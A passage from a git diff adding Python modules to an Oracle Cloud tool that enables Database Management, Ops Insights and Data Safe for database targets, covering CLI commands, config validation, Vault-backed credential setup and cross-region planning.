argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + if args.regions: + config = replace(config, monitoring_regions=parse_regions(args.regions)) + problems = validate_config(config) + if problems: + raise ConfigError(problems) + save_config(args.config, config) + print(f"Updated monitoring_regions in {args.config}") + print(format_cross_region_plan(cross_region_plan(config))) + return 0 + + +def _cmd_set_credentials(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + # Live reads + idempotent writes (named credential reuse, preferred SET). + decisions = CredentialService(_config_oci(config, ctx, dry_run=False)).set_all(config) + for decision in decisions: + print(f"- {decision.target}: {decision.status} ({decision.detail})") + blocked = [decision for decision in decisions if decision.status == "blocked"] + return 1 if blocked else 0 + + +def _cmd_discover(args: argparse.Namespace, ctx: _CliContext) -> int: + oci = OciCli(args.profile, args.region, _args_runner(args, ctx, dry_run=False)) + root = args.compartment or args.tenancy + if not root: + raise SystemExit("discover requires --compartment or --tenancy") + compartments = [{"id": root, "name": "root"}] + if args.subtree: + tenancy = args.tenancy or root + compartments += oci.list_compartments(tenancy) + inventory = DiscoveryService(oci).discover(compartments) + if args.json: + print(json.dumps(redact_data(inventory.to_dict()), indent=2, sort_keys=True)) + else: + print_inventory(inventory) + return 0 + + +def _cmd_import_tf_outputs(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + outputs = read_terraform_outputs( + args.terraform_dir or config.terraform_dir, + _config_runner(config, ctx, dry_run=False), + ) + merged, changes = merge_outputs_into_config(config, outputs) + merged, resolved_changes = _resolve_provisioned_dbcs_databases(merged, ctx) + changes.extend(resolved_changes) + if not changes: + print("No new values to import from terraform outputs.") + return 0 + for change in changes: + print(f"Updated {change}") + if args.dry_run: + print("Dry run: config not written.") + return 0 + validate_merged_config(merged) + save_config(args.config, merged) + print(f"Wrote merged config to {args.config}") + return 0 + + +def _resolve_provisioned_dbcs_databases( + config: EnablementConfig, + ctx: _CliContext, +) -> tuple[EnablementConfig, list[str]]: + """Resolve Terraform-created DB system IDs to database IDs for enablement.""" + + changes: list[str] = [] + targets = [] + oci = _config_oci(config, ctx, dry_run=False) + for target in config.targets: + if not (target.provision and target.kind == "dbcs" and target.db_system_id): + targets.append(target) + continue + needs_database_id = not target.resource_id or target.resource_id == target.db_system_id + if not needs_database_id: + targets.append(target) + continue + databases = oci.list_databases(target.compartment_id or config.compartment_id or "", target.db_system_id) + if not databases: + targets.append(target) + continue + database = databases[0] + database_id = database.get("id") + if not database_id: + targets.append(target) + continue + updates = {"resource_id": database_id} + if not target.service_name and database.get("db-name"): + updates["service_name"] = database["db-name"] + target = replace(target, **updates) + changes.append(f"target[{target.name}]: resource_id") + targets.append(target) + return replace(config, targets=tuple(targets)), changes + + +def _cmd_preflight(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + db_check = None + if args.db_check_file: + db_check = parse_validation_output(Path(args.db_check_file).read_text(encoding="utf-8")) + report = PreflightService(_config_oci(config, ctx, dry_run=False)).run(config, db_check=db_check) + if args.json: + print(json.dumps(redact_data(report.to_dict()), indent=2, sort_keys=True)) + else: + print_preflight_report(report) + return 0 if report.ok else 1 + + +def _configure_datasafe( + args: argparse.Namespace, + config: EnablementConfig, + mode: str, + write_oci: OciCli, +) -> DataSafeService | None: + if not args.with_data_safe or not any(target.wants("datasafe") for target in config.targets): + return None + return DataSafeService( + write_oci, + credential_provider=_make_data_safe_provider( + mode == "apply", args.data_safe_user, args.data_safe_password_env + ), + ) + + +def _cmd_configure(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + mode = "db-side-only" if args.db_side_only else ("apply" if args.apply else "plan") + # Reads are always live (read-only); only the enable write respects the mode. + read_oci = _config_oci(config, ctx, dry_run=False) + write_oci = _config_oci(config, ctx, dry_run=mode != "apply") + datasafe = _configure_datasafe(args, config, mode, write_oci) + service = ConfigureService(read_oci, EnablementService(write_oci), datasafe=datasafe) + report: ConfigureReport = service.configure( + config, mode=mode, handoff_dir=args.output, force=args.force + ) + credential_decisions = [] + if mode == "apply" and report.ok and not args.skip_credentials: + credential_decisions = CredentialService( + _config_oci(config, ctx, dry_run=False) + ).set_all(config) + if args.json: + payload = report.to_dict() + if credential_decisions: + payload["credentials"] = [decision.__dict__ for decision in credential_decisions] + print(json.dumps(redact_data(payload), indent=2, sort_keys=True)) + else: + print_configure_report(report) + for decision in credential_decisions: + print(f"- credentials {decision.target}: {decision.status} ({decision.detail})") + return 0 if report.ok else 1 + + +def _cmd_generate_agent_scripts(args: argparse.Namespace, ctx: _CliContext) -> int: + paths = generate_agent_scripts(load_config(args.config), Path(args.output)) + for path in paths: + print(path) + return 0 + + +def _cmd_generate_db_scripts(args: argparse.Namespace, ctx: _CliContext) -> int: + paths = generate_db_scripts(load_config(args.config), Path(args.output)) + for path in paths: + print(path) + return 0 + + +def _cmd_generate_opsi_payloads(args: argparse.Namespace, ctx: _CliContext) -> int: + paths = generate_opsi_payloads(load_config(args.config), Path(args.output)) + for path in paths: + print(path) + return 0 + + +def _db_exec_apply_decisions(args: argparse.Namespace, config: EnablementConfig): + if not (args.bastion_id and args.target_ip and args.ssh_key): + raise SystemExit("db-exec --apply requires --bastion-id, --target-ip, and --ssh-key") + answers = Path(args.answers_file).read_text(encoding="utf-8") if args.answers_file else None + runner = BastionSqlRunner( + bastion_id=args.bastion_id, + target_private_ip=args.target_ip, + ssh_key=args.ssh_key, + profile=config.profile, + region=config.region, + answers=answers, + ) + return DbExecService(runner).execute(config, args.scripts_dir, force=args.force) + + +def _cmd_db_exec(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + # Regenerate scripts so the plan reflects the current config. + generate_db_scripts(config, Path(args.scripts_dir)) + if args.apply: + decisions = _db_exec_apply_decisions(args, config) + else: + decisions = DbExecService().plan(config, force=args.force) + for decision in decisions: + print(f"- db-exec {decision.target}: {decision.action} ({decision.detail})") + return 1 if any(d.action == "failed" for d in decisions) else 0 + + +def _cmd_data_safe(args: argparse.Namespace, ctx: _CliContext) -> int: + config = load_config(args.config) + # Reads (list targets/PEs for idempotency) must be live; writes respect --apply. + oci = _config_oci(config, ctx, dry_run=not args.apply) + service = DataSafeService( + oci, credential_provider=_make_data_safe_provider(args.apply, args.user, args.password_env) + ) + decisions = service.enable_all(config) + for decision in decisions: + print(f"- data-safe {decision.target}: {decision.status} ({decision.detail})") + if args.apply: + updated = _persist_data_safe_targets(config, decisions) + if updated is not config: + save_config(args.config, updated) + print(f"Updated Data Safe target OCIDs in {args.config}") + blocked = [decision for decision in decisions if decision.status == "blocked"] + return 1 if blocked else 0 + + +def _command_handlers(): + return { + "plan": _cmd_plan, + "journal": _cmd_journal, + "doctor": _cmd_doctor, + "provision": _cmd_provision, + "init-region": _cmd_init_region, + "enable": _cmd_enable, + "prepare-prereqs": _cmd_prepare_prereqs, + "validate": _cmd_validate, + "cross-region": _cmd_cross_region, + "set-credentials": _cmd_set_credentials, + "discover": _cmd_discover, + "import-tf-outputs": _cmd_import_tf_outputs, + "preflight": _cmd_preflight, + "configure": _cmd_configure, + "generate-agent-scripts": _cmd_generate_agent_scripts, + "generate-db-scripts": _cmd_generate_db_scripts, + "generate-opsi-payloads": _cmd_generate_opsi_payloads, + "db-exec": _cmd_db_exec, + "data-safe": _cmd_data_safe, + } + + +def main(argv: list[str] | None = None) -> int: + args = build_parser().parse_args(argv) + _configure_logging() + load_env_file() + ctx = _CliContext(run_id=str(uuid.uuid4()), verbose=args.verbose) + log.debug("run_id=%s", ctx.run_id) + handler = _command_handlers().get(args.command) + if handler is None: + raise ValueError(f"Unhandled command {args.command}") + return handler(args, ctx) + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/config.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/config.py new file mode 100644 index 000000000..5962b8b3a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/config.py @@ -0,0 +1,293 @@ +"""Configuration model and YAML/JSON serialization.""" + +from __future__ import annotations + +import json +import re +from dataclasses import dataclass, field, fields, is_dataclass +from pathlib import Path +from typing import Any, Literal, get_args + +import yaml + +from dbman_opsi.redact import redact_data + +TargetKind = Literal["dbcs", "autonomous", "exadata", "external-db", "external-exadata"] + +# The three observability/security/management pillars a target can opt into. +# "dbm" = Database Management, "opsi" = Operations Insights, "datasafe" = Data Safe. +Service = Literal["dbm", "opsi", "datasafe"] +DEFAULT_SERVICES: tuple[Service, ...] = ("dbm", "opsi") +ALLOWED_TARGET_KINDS = frozenset(get_args(TargetKind)) +ALLOWED_SERVICES = frozenset(get_args(Service)) +OCID_PREFIX_RE = re.compile(r"^ocid1\.[a-z0-9]+\.oc[0-9]\.") +REGION_RE = re.compile(r"^[a-z]+-[a-z]+-[0-9]+$") +MAX_OCID_LENGTH = 255 + + +class ConfigError(ValueError): + """Raised when loaded config fails boundary validation.""" + + def __init__(self, problems: list[str]) -> None: + self.problems = tuple(problems) + message = "Invalid config:\n- " + "\n- ".join(problems) + super().__init__(message) + + +@dataclass(frozen=True) +class NetworkSelection: + vcn_id: str | None = None + subnet_id: str | None = None + create_test_network: bool = False + cidr_block: str = "10.44.0.0/16" + subnet_cidr_block: str = "10.44.10.0/24" + + +@dataclass(frozen=True) +class VaultSelection: + vault_id: str | None = None + key_id: str | None = None + create_vault: bool = False + + +@dataclass(frozen=True) +class Target: + kind: TargetKind + name: str + compartment_id: str | None = None + resource_id: str | None = None + service_name: str | None = None + monitoring_user: str | None = None + password_secret_id: str | None = None + wallet_secret_id: str | None = None + private_endpoint_id: str | None = None + opsi_private_endpoint_id: str | None = None + opsi_database_insight_id: str | None = None + opsi_connection_details_file: str | None = None + opsi_credential_details_file: str | None = None + management_agent_id: str | None = None + deployment_type: Literal["VIRTUAL_MACHINE", "BARE_METAL", "EXACC", "EXACS"] = "VIRTUAL_MACHINE" + database_resource_type: str = "database" + database_role: Literal["CDB", "PDB", "NON_CDB"] = "CDB" + parent_cdb_id: str | None = None + management_type: Literal["BASIC", "ADVANCED"] = "ADVANCED" + provision: bool = False + external_host: str | None = None + external_os: Literal["linux", "windows", "solaris", "aix"] | None = None + # Parent DB system OCID (Base DB / Exadata). Data Safe's DATABASE_CLOUD_SERVICE + # registration keys off the DB system + service name rather than the DB OCID. + db_system_id: str | None = None + # Data Safe: the registered target-database is a separate resource keyed back + # to this DB; its Data Safe private endpoint lives in the DB subnet. + data_safe_target_id: str | None = None + data_safe_private_endpoint_id: str | None = None + # Which pillars to enable for this target. Defaults to DBM + OPSI so existing + # configs (which omit the field) keep their prior behavior; Data Safe is opt-in. + services: tuple[Service, ...] = DEFAULT_SERVICES + # Optional override for targets that live outside the config home region. + # Appended to preserve the positional dataclass argument order used by older + # callers. + region: str | None = None + + def wants(self, service: Service) -> bool: + return service in self.services + + +@dataclass(frozen=True) +class EnablementConfig: + profile: str + region: str + monitoring_regions: tuple[str, ...] = () + tenancy_id: str | None = None + compartment_id: str | None = None + network: NetworkSelection = field(default_factory=NetworkSelection) + vault: VaultSelection = field(default_factory=VaultSelection) + targets: tuple[Target, ...] = () + policy_group_name: str = "dbman-opsi-admins" + dry_run: bool = True + terraform_dir: str = "terraform/examples/zero-start-poc" + + def sanitized(self) -> dict[str, Any]: + return redact_data(to_dict(self)) + + +def _network_from_dict(value: dict[str, Any] | None) -> NetworkSelection: + return NetworkSelection(**(value or {})) + + +def _vault_from_dict(value: dict[str, Any] | None) -> VaultSelection: + return VaultSelection(**(value or {})) + + +def _target_from_dict(value: dict[str, Any]) -> Target: + data = dict(value) + if "services" in data and data["services"] is not None: + data["services"] = tuple(data["services"]) + return Target(**data) + + +def _target_to_dict(target: Target) -> dict[str, Any]: + # YAML safe_dump cannot represent tuples, so normalize services to a list. + data = dict(target.__dict__) + data["services"] = list(target.services) + return data + + +def from_dict(value: dict[str, Any]) -> EnablementConfig: + """Create an immutable config object from raw dict data.""" + + return EnablementConfig( + profile=value["profile"], + region=value["region"], + monitoring_regions=tuple(value.get("monitoring_regions") or ()), + tenancy_id=value.get("tenancy_id"), + compartment_id=value.get("compartment_id"), + network=_network_from_dict(value.get("network")), + vault=_vault_from_dict(value.get("vault")), + targets=tuple(_target_from_dict(item) for item in value.get("targets", [])), + policy_group_name=value.get("policy_group_name", "dbman-opsi-admins"), + dry_run=bool(value.get("dry_run", True)), + terraform_dir=value.get("terraform_dir", "terraform/examples/zero-start-poc"), + ) + + +def validate_config(config: EnablementConfig) -> list[str]: + """Return all config validation problems without mutating config.""" + + problems = _validate_config_ocid_fields(config) + problems.extend(_validate_regions("monitoring_regions", config.monitoring_regions)) + for index, target in enumerate(config.targets): + target_label = f"targets[{index}] {target.name}" + problems.extend(_validate_target(target, target_label)) + return problems + + +def _validate_target(target: Target, label: str) -> list[str]: + problems: list[str] = [] + problems.extend(_validate_target_ocid_fields(target, label)) + if target.kind not in ALLOWED_TARGET_KINDS: + expected = ", ".join(sorted(ALLOWED_TARGET_KINDS)) + problems.append(f"{label}: kind must be one of {expected}") + if target.region and not _looks_like_region(target.region): + problems.append(f"{label}: region must look like an OCI region identifier") + invalid_services = sorted(service for service in target.services if service not in ALLOWED_SERVICES) + if invalid_services: + values = ", ".join(str(service) for service in invalid_services) + problems.append(f"{label}: services contains unsupported values: {values}") + if target.kind != "autonomous" and not target.provision and not target.service_name: + problems.append(f"{label}: service_name is required for {target.kind} targets") + return problems + + +def _validate_regions(label: str, regions: tuple[str, ...]) -> list[str]: + invalid = [region for region in regions if not _looks_like_region(region)] + if invalid: + return [f"{label} contains invalid OCI region identifiers: {', '.join(invalid)}"] + duplicates = sorted({region for region in regions if regions.count(region) > 1}) + if duplicates: + return [f"{label} contains duplicate regions: {', '.join(duplicates)}"] + return [] + + +def _validate_config_ocid_fields(config: EnablementConfig) -> list[str]: + return _validate_ocid_fields("config", config, excluded_fields=frozenset({"targets"})) + + +def _validate_target_ocid_fields(target: Target, label: str) -> list[str]: + problems: list[str] = [] + for field_name, field_value in _iter_direct_ocid_values(target): + if _invalid_ocid_value(field_value): + problems.append(f"{label}: {field_name} must look like an OCI OCID") + return problems + + +def _validate_ocid_fields(label: str, value: object, *, excluded_fields: frozenset[str]) -> list[str]: + problems: list[str] = [] + for field_path, field_value in _iter_ocid_values(label, value, excluded_fields=excluded_fields): + if _invalid_ocid_value(field_value): + problems.append(f"{field_path} must look like an OCI OCID") + return problems + + +def _iter_direct_ocid_values(value: object) -> list[tuple[str, object]]: + if not is_dataclass(value): + return [] + return [ + (item.name, getattr(value, item.name)) + for item in fields(value) + if item.name.endswith(("_id", "_ocid")) + ] + + +def _iter_ocid_values( + label: str, + value: object, + *, + excluded_fields: frozenset[str], +) -> list[tuple[str, object]]: + if not is_dataclass(value): + return [] + matches: list[tuple[str, object]] = [] + for item in fields(value): + if item.name in excluded_fields: + continue + item_value = getattr(value, item.name) + item_path = f"{label}.{item.name}" + if item.name.endswith(("_id", "_ocid")): + matches.append((item_path, item_value)) + elif is_dataclass(item_value): + matches.extend(_iter_ocid_values(item_path, item_value, excluded_fields=frozenset())) + return matches + + +def _invalid_ocid_value(value: object) -> bool: + return value is not None and value != "" and not _looks_like_ocid(value) + + +def _looks_like_ocid(value: object) -> bool: + return ( + isinstance(value, str) + and len(value) <= MAX_OCID_LENGTH + and OCID_PREFIX_RE.match(value) is not None + ) + + +def _looks_like_region(value: object) -> bool: + return isinstance(value, str) and REGION_RE.match(value) is not None + + +def to_dict(config: EnablementConfig) -> dict[str, Any]: + return { + "profile": config.profile, + "region": config.region, + "monitoring_regions": list(config.monitoring_regions), + "tenancy_id": config.tenancy_id, + "compartment_id": config.compartment_id, + "network": config.network.__dict__, + "vault": config.vault.__dict__, + "targets": [_target_to_dict(target) for target in config.targets], + "policy_group_name": config.policy_group_name, + "dry_run": config.dry_run, + "terraform_dir": config.terraform_dir, + } + + +def load_config(path: str | Path) -> EnablementConfig: + raw = Path(path).read_text(encoding="utf-8") + data = json.loads(raw) if str(path).endswith(".json") else yaml.safe_load(raw) + if not isinstance(data, dict): + raise ValueError("Config root must be a mapping") + config = from_dict(data) + problems = validate_config(config) + if problems: + raise ConfigError(problems) + return config + + +def save_config(path: str | Path, config: EnablementConfig) -> None: + destination = Path(path) + data = to_dict(config) + if destination.suffix == ".json": + destination.write_text(json.dumps(data, indent=2, sort_keys=True), encoding="utf-8") + return + destination.write_text(yaml.safe_dump(data, sort_keys=False), encoding="utf-8") diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/conn.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/conn.py new file mode 100644 index 000000000..afb46c942 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/conn.py @@ -0,0 +1,35 @@ +"""Connection-string helpers shared by discovery and the wizard. + +A single canonical parser for the OCI ``connection-strings`` shape so the +PDB-grain service-name logic — the field that disambiguates a PDB's Data Safe +target from its CDB's — lives in exactly one place and cannot drift between the +read-only inventory (``discovery``) and the interactive planner (``wizard``). +""" + +from __future__ import annotations + +from typing import Any + + +def service_name_from_record(record: dict[str, Any]) -> str | None: + """Return a DB's service name from its connection strings, or ``None``. + + Reads ``connection-strings`` in OCI's documented precedence + (``pdb-default`` → ``cdb-default`` → ``all-connection-strings.cdbDefault``) + and returns the portion after the last ``'/'``. Returns ``None`` when no + connection string is present or the value carries no ``/service`` path, so + callers can decide their own fallback. + """ + + strings = record.get("connection-strings") + if not isinstance(strings, dict): + return None + all_strings = strings.get("all-connection-strings") + value = ( + strings.get("pdb-default") + or strings.get("cdb-default") + or (all_strings.get("cdbDefault") if isinstance(all_strings, dict) else None) + ) + if isinstance(value, str) and "/" in value: + return value.rsplit("/", 1)[-1] + return None diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/credentials.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/credentials.py new file mode 100644 index 000000000..4a14b0261 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/credentials.py @@ -0,0 +1,145 @@ +"""Set Database Management preferred (advanced diagnostics) credentials. + +After Database Management is enabled, the managed database still needs an +"Advanced diagnostics preferred credential" before on-demand tasks (Performance +Hub, AWR Explorer, ADDM, SQL Tuning) can run — otherwise the Console shows +"Credential required to perform Database Management tasks is not set". + +This module wires a managed database's ``PC_READ``/``PC_WRITE`` preferred +credentials to a Vault-backed Named Credential, all via the OCI API so the stack +is reproducible from scripts and Resource Manager. +""" + +from __future__ import annotations + +from dataclasses import dataclass + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.remediation import remediation_for + +# OCI seeds every managed database with these three preferred-credential slots. +# MONITORING is set at enable time; PC_READ/PC_WRITE gate advanced diagnostics. +PREFERRED_CREDENTIAL_NAMES = ("PC_READ", "PC_WRITE") + + +def _slug(value: str) -> str: + """Sanitise a value into an OCI named-credential-safe token (alnum + underscore).""" + + return "".join(ch if ch.isalnum() else "_" for ch in value).strip("_") or "DB" + + +@dataclass(frozen=True) +class CredentialDecision: + target: str + status: str # "set" | "skipped" | "blocked" + detail: str + + +class CredentialService: + def __init__(self, oci: OciCli) -> None: + self.oci = oci + + def set_all(self, config: EnablementConfig) -> list[CredentialDecision]: + return [self.set_for_target(target, config) for target in config.targets] + + def set_for_target(self, target: Target, config: EnablementConfig) -> CredentialDecision: + if target.kind not in {"dbcs", "exadata"}: + return CredentialDecision(target.name, "skipped", "not an OCI-managed database target") + + compartment = target.compartment_id or config.compartment_id or "" + required = { + "resource_id": target.resource_id, + "password_secret_id": target.password_secret_id, + "monitoring_user": target.monitoring_user, + "compartment_id": compartment, + } + missing = [name for name, value in required.items() if not value] + if missing: + return CredentialDecision(target.name, "blocked", f"missing required fields: {', '.join(missing)}") + + # For OCI-native DBCS/Exadata the Managed Database OCID is the database + # (or pluggable database) OCID itself, so use it directly — avoids a flaky + # managed-database list call and any duplicate-display-name ambiguity. + managed_id = target.resource_id or "" + # db_name is cosmetic (the named-credential's name); fall back to the + # target name if the lookup is unavailable so a flaky read never blocks. + db_name = self._database_name(target) or _slug(target.name) + + if self._already_set(managed_id): + return CredentialDecision( + target.name, + "set", + f"{', '.join(PREFERRED_CREDENTIAL_NAMES)} already configured for {db_name}", + ) + + try: + self._apply_with_retry(target, compartment, db_name, managed_id) + except RuntimeError as exc: + return CredentialDecision(target.name, "blocked", self._blocked_detail(exc)) + + return CredentialDecision( + target.name, + "set", + f"{', '.join(PREFERRED_CREDENTIAL_NAMES)} -> Vault named credential for {db_name}", + ) + + def _already_set(self, managed_id: str) -> bool: + """True when PC_READ and PC_WRITE are already SET (idempotent short-circuit). + + Reading current state avoids a redundant write — useful when the dbmgmt + write endpoint is flapping but the credentials are in fact configured. + """ + + # The dbmgmt control plane flaps call-to-call; retry the read a few times + # so a single transient 404 does not force an unnecessary (also-flaky) write. + for _ in range(3): + try: + statuses = { + cred.get("credential-name"): cred.get("status") + for cred in self.oci.list_preferred_credentials(managed_id) + } + except RuntimeError: + continue + return all(statuses.get(name) == "SET" for name in PREFERRED_CREDENTIAL_NAMES) + return False + + def _apply_with_retry(self, target: Target, compartment: str, db_name: str, managed_id: str) -> None: + # The cap dbmgmt control plane intermittently returns NotAuthorizedOrNotFound + # (404); retry the whole credential set once before surfacing the error. + last_error: RuntimeError | None = None + for _ in range(2): + try: + named_credential_id = self.oci.create_named_credential( + compartment_id=compartment, + name=f"{db_name}_{target.monitoring_user}_NORMAL", + user_name=target.monitoring_user or "DBSNMP", + password_secret_id=target.password_secret_id or "", + associated_resource=managed_id, + ) + for credential_name in PREFERRED_CREDENTIAL_NAMES: + self.oci.set_preferred_named_credential(managed_id, credential_name, named_credential_id) + return + except RuntimeError as exc: + last_error = exc + raise last_error # type: ignore[misc] + + @staticmethod + def _blocked_detail(exc: RuntimeError) -> str: + remediation = remediation_for(str(exc)) + if remediation is None: + return f"credential set failed: {str(exc).splitlines()[0][:160]}" + return ( + f"credential set failed ({remediation.signature}). " + f"Solution: {remediation.solution} Manual step: {remediation.manual_step}" + ) + + def _database_name(self, target: Target) -> str | None: + if not target.resource_id: + return None + try: + if target.database_role == "PDB": + return self.oci.get_pluggable_database(target.resource_id).get("pdb-name") + return self.oci.get_database(target.resource_id).get("db-name") + except RuntimeError: + return None diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cross_region.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cross_region.py new file mode 100644 index 000000000..b3fdb8666 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/cross_region.py @@ -0,0 +1,94 @@ +"""OPSI cross-region monitoring planning helpers.""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Iterable + +from dbman_opsi.config import EnablementConfig + + +@dataclass(frozen=True) +class CrossRegionPlan: + home_region: str + monitoring_regions: tuple[str, ...] + target_regions: tuple[str, ...] + targets_by_region: tuple[tuple[str, tuple[str, ...]], ...] + warnings: tuple[str, ...] = () + + @property + def enabled(self) -> bool: + return len(self.monitoring_regions) > 1 + + +def parse_regions(value: str) -> tuple[str, ...]: + """Parse a comma-separated region list while preserving order.""" + + return tuple(region.strip() for region in value.split(",") if region.strip()) + + +def cross_region_plan(config: EnablementConfig) -> CrossRegionPlan: + """Build the display model for the OPSI multi-region console workflow.""" + + monitoring_regions = config.monitoring_regions or (config.region,) + target_region_order = _ordered_unique(target.region or config.region for target in config.targets) + targets_by_region = tuple( + ( + region, + tuple( + target.name + for target in config.targets + if (target.region or config.region) == region and target.wants("opsi") + ), + ) + for region in _ordered_unique((*monitoring_regions, *target_region_order)) + ) + missing_target_regions = tuple(region for region in target_region_order if region not in monitoring_regions) + warnings = tuple( + f"{region} has OPSI targets but is not selected in monitoring_regions" + for region in missing_target_regions + ) + return CrossRegionPlan( + home_region=config.region, + monitoring_regions=monitoring_regions, + target_regions=target_region_order, + targets_by_region=targets_by_region, + warnings=warnings, + ) + + +def format_cross_region_plan(plan: CrossRegionPlan) -> str: + """Render a concise operator-facing summary.""" + + lines = [ + f"OPSI cross-region monitoring: {'enabled' if plan.enabled else 'single-region'}", + f"Home region: {plan.home_region}", + "Selected monitoring regions:", + ] + lines.extend(f"- {region}" for region in plan.monitoring_regions) + lines.append("OPSI targets by region:") + for region, targets in plan.targets_by_region: + target_list = ", ".join(targets) if targets else "none configured" + lines.append(f"- {region}: {target_list}") + if plan.warnings: + lines.append("Warnings:") + lines.extend(f"- {warning}" for warning in plan.warnings) + lines.extend( + [ + "Console POC:", + "- Ops Insights > Data Object Explorer: use the region selector and choose the selected monitoring regions.", + "- Verify result rows include region context before drilling into SQL or resource metrics.", + "- Ops Insights dashboards: use the same regions on Configuration and Capacity dashboards.", + ] + ) + return "\n".join(lines) + + +def _ordered_unique(values: Iterable[str]) -> tuple[str, ...]: + seen: set[str] = set() + result: list[str] = [] + for value in values: + if value not in seen: + seen.add(value) + result.append(value) + return tuple(result) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/datasafe.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/datasafe.py new file mode 100644 index 000000000..85cb710b1 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/datasafe.py @@ -0,0 +1,193 @@ +"""Enable the Data Safe (security) pillar for configured targets. + +Unlike Database Management and Ops Insights, Data Safe registration is a separate +``target-database`` resource that connects to the database through a Data Safe +private endpoint using a database service account. This module: + +1. ensures a Data Safe private endpoint exists in the DB subnet, +2. builds the registration payloads (database details, connection option, + credentials) as ``file://`` JSON so the password never appears on argv, and +3. registers the target database, returning its OCID. + +Credentials are supplied at call time by a provider callback (the CLI prompts for +them; tests inject a fake) and are written only to a 0600 temp file that is +deleted in a ``finally`` block — they are never persisted to the config. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from collections.abc import Callable +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.oci_cli import OciCli + +# (user_name, password) for the Data Safe service account on a given target. +CredentialProvider = Callable[[Target], "tuple[str, str]"] + +DATA_SAFE_KINDS = {"dbcs", "exadata", "autonomous"} + + +@dataclass(frozen=True) +class DataSafeDecision: + target: str + status: str # enabled | ready | skipped | blocked + detail: str + target_id: str | None = None + + def to_dict(self) -> dict[str, Any]: + return {"target": self.target, "status": self.status, "detail": self.detail, "target_id": self.target_id} + + +def data_safe_database_details(target: Target) -> dict[str, Any]: + """Build the ``databaseDetails`` payload for a target's database type.""" + + if target.kind == "autonomous": + return { + "databaseType": "AUTONOMOUS_DATABASE", + "infrastructureType": "ORACLE_CLOUD", + "autonomousDatabaseId": target.resource_id, + } + # Base Database / Exadata cloud service: registered against the DB system and + # the (PDB) service name; the service name distinguishes a PDB target. + return { + "databaseType": "DATABASE_CLOUD_SERVICE", + "infrastructureType": "ORACLE_CLOUD", + "dbSystemId": target.db_system_id, + "serviceName": target.service_name, + "listenerPort": 1521, + } + + +def _connection_option(target: Target) -> dict[str, Any]: + return { + "connectionType": "PRIVATE_ENDPOINT", + "datasafePrivateEndpointId": target.data_safe_private_endpoint_id, + } + + +def _missing_registration_fields(target: Target) -> list[str]: + if target.kind == "autonomous": + required = {"resource_id": target.resource_id} + else: + required = { + "db_system_id": target.db_system_id, + "service_name": target.service_name, + "data_safe_private_endpoint_id": target.data_safe_private_endpoint_id, + } + return [name for name, value in required.items() if not value] + + +class DataSafeService: + def __init__(self, oci: OciCli, credential_provider: CredentialProvider | None = None) -> None: + self.oci = oci + self.credential_provider = credential_provider + + def enable_all(self, config: EnablementConfig) -> list[DataSafeDecision]: + decisions: list[DataSafeDecision] = [] + for target in config.targets: + if not target.wants("datasafe"): + continue + decisions.append(self.enable_target(target, config)) + return decisions + + def ensure_private_endpoint(self, target: Target, config: EnablementConfig) -> str | None: + """Return a Data Safe PE OCID, creating one in the DB subnet if needed.""" + + if target.data_safe_private_endpoint_id: + return target.data_safe_private_endpoint_id + subnet_id = config.network.subnet_id + vcn_id = config.network.vcn_id + compartment = target.compartment_id or config.compartment_id + if not (subnet_id and vcn_id and compartment): + return None + return self.oci.create_data_safe_private_endpoint( + compartment_id=compartment, + display_name=f"{target.name}-datasafe-pe", + vcn_id=vcn_id, + subnet_id=subnet_id, + ) + + def enable_target(self, target: Target, config: EnablementConfig) -> DataSafeDecision: + if target.kind not in DATA_SAFE_KINDS: + return DataSafeDecision(target.name, "skipped", f"Data Safe not supported for kind {target.kind}") + compartment = target.compartment_id or config.compartment_id + if not compartment: + return DataSafeDecision(target.name, "blocked", "missing compartment_id") + + # Resolve (or create) the Data Safe private endpoint for non-autonomous targets. + pe_id = target.data_safe_private_endpoint_id + if target.kind != "autonomous" and not pe_id: + pe_id = self.ensure_private_endpoint(target, config) + if pe_id: + target = _with_pe(target, pe_id) + + missing = _missing_registration_fields(target) + if missing: + return DataSafeDecision( + target.name, + "blocked", + f"missing for Data Safe registration: {', '.join(missing)} (run prepare-prereqs / discover)", + ) + + user, password = self._credentials(target) + target_id = self._register(target, compartment, user, password) + if target_id: + return DataSafeDecision(target.name, "enabled", "Data Safe target registered", target_id) + return DataSafeDecision(target.name, "ready", "Data Safe registration prepared (dry-run or no OCID returned)") + + def _credentials(self, target: Target) -> tuple[str, str]: + if self.credential_provider is not None: + return self.credential_provider(target) + # Default: reuse the monitoring user with no password (registration will + # fail loudly if a password is actually required) — callers should inject + # a provider for live runs. + return (target.monitoring_user or "DBSNMP", "") + + def _register(self, target: Target, compartment: str, user: str, password: str) -> str | None: + tmp_dir = Path(tempfile.mkdtemp(prefix="dbman-datasafe-")) + try: + os.chmod(tmp_dir, 